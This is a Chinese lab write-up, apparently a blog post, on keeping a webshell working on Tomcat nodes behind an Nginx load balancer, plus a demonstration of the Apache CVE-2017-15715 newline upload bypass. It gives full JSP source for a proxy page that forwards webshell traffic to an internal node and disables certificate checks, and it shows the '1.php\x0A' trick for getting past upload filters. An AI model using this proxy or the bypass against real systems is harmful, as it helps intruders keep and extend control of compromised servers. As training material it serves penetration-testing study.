Nginx漏洞和Nginx反向代理下的webshell上传

负载均衡反向代理下的webshell上传

目录

负载均衡反向代理下的webshell上传

nginx负载均衡

配置环境

在GitHub上面下载蚁剑

安装docker

进入node虚拟机内(有Nginx后标的那个node)

尝试用蚁剑添加shell

负载均衡下webshell上传的难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

难点二、无法预测下次的请求交给哪台机器去执行

难点三:当我们需要上传一些工具时,麻烦来了:

难点四:目标机器不能出外网:

解决方案

方法一:关机/停服

方法二:判断是否执行

方法三: 在Web 层做一次 HTTP 流量转发(重点)

 Apache换行解析漏洞(CVE-2017-15715)


nginx负载均衡

所谓负载均衡,就是 Nginx 把请求均匀的分摊给上游的应用服务器,这样即使某一个服务器宕机也不会影响请求的处理,或者当应用服务器扛不住了,可以随时进行扩容,反向代理方式其中比较流行的方式是用 nginx 来做负载均衡,以下是几种nginx 支持的几种策略

 本次实验以默认的轮询方式来做演示。

配置环境

在GitHub上面下载蚁剑

https://github.com/AntSwordProject/AntSword-Labs

download zip然后上传到你的虚拟机

安装docker

curl -s https://get.docker.com/ | sh 

然后安装docker-compose

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose

给docker-compose权限

chmod +x /usr/local/bin/docker-compose

查看版本号

docker-compose version

启动docker

cd /ant/loadbalance/loadbalance-jsp
docker-compose up  -d

用docker ps -a查看端口号

像这样就是环境配置好了的结果

现在整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。

进入node虚拟机内(有Nginx后标的那个node)

docker exec -it c48073869bac /bin/bash

这上面的就是这台虚拟机Nginx的配置

尝试用蚁剑添加shell

负载均衡下webshell上传的难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用

难点二、无法预测下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,舒服得嘞~

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:目标机器不能出外网:

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方法一:关机/停服

关掉其中一台机器,这种方法不推荐。这种方法会极大影响业务,有可能造成公司的财产损失,不建议尝试,测试除外。

方法二:判断是否执行

我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
echo $MYIP

 这样一来,就能够保证执行的命令是在我们想要的机器上了。(也可以用蚁剑来测试,创建一个shell脚本,但是你需要在你的node上安装很多工具,我在安装过程中出现了问题就放弃这个方法了但是shell脚本如下)

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; then
 	echo "Node1. I will execute command.\n=======\n"
 	ifconfig
 else
 	echo "Other. Try again."
 fi

效果图就用老师课件的来展示(但是蚁剑会出现一些莫名的问题,所以测试时要注意)

方法三: 在Web 层做一次 HTTP 流量转发(重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

 我们通过Nginx直接访问node1,然后把请求发给node2,node2 上面的 /antproxy.jsp 把请求重组之后,传给了 node1 的 /ant.jsp

重新添加数据,以/antproxy.jsp为url

 这个是/antproxy.jsp的代码,我在蚁剑上面创建了几十次,/antproxy.jsp才创建出来,删除数据又重新添加来来回回也十多次,所以测试的时候请耐心一点,多保存,创建几次。(这蚁剑真的有时候让人很崩溃!!!!!)

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

执行命令,查看ip 

优点:

1.低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 方法一 的关服务就没啥区别了

2.流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。

3.适配更多工具

缺点:

该方案需要 Node1和 Node2 之间内网互通,如果不互通就不行。

 Apache换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

cd /vulhub/httpd/CVE-2017-15715
docker-compose build
docker-compose up -d

 得到如下结果,如果链接超时可能是8080端口没打开(8080没打开就按以下步骤)

systemctl start firewalld   打开防火墙

systemctl status firewalld   查看防火墙状态

firewall-cmd --zone=public --add-port=80/tcp --permanent  防火墙开启80端口

命令含义:--zone #作用域 --add-port=80/tcp #添加端口,格式为:端口/通讯协议 --permanent #永久生效,没有此参数重启后失效

firewall-cmd --reload 重启防火墙(开启后需要重启防火墙才生效)

firewall-cmd --list-ports  查看所有开启的端口

随便上传一个文件看看情况

 

 抓包

上传一个1.php的文件,被拦截

 在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值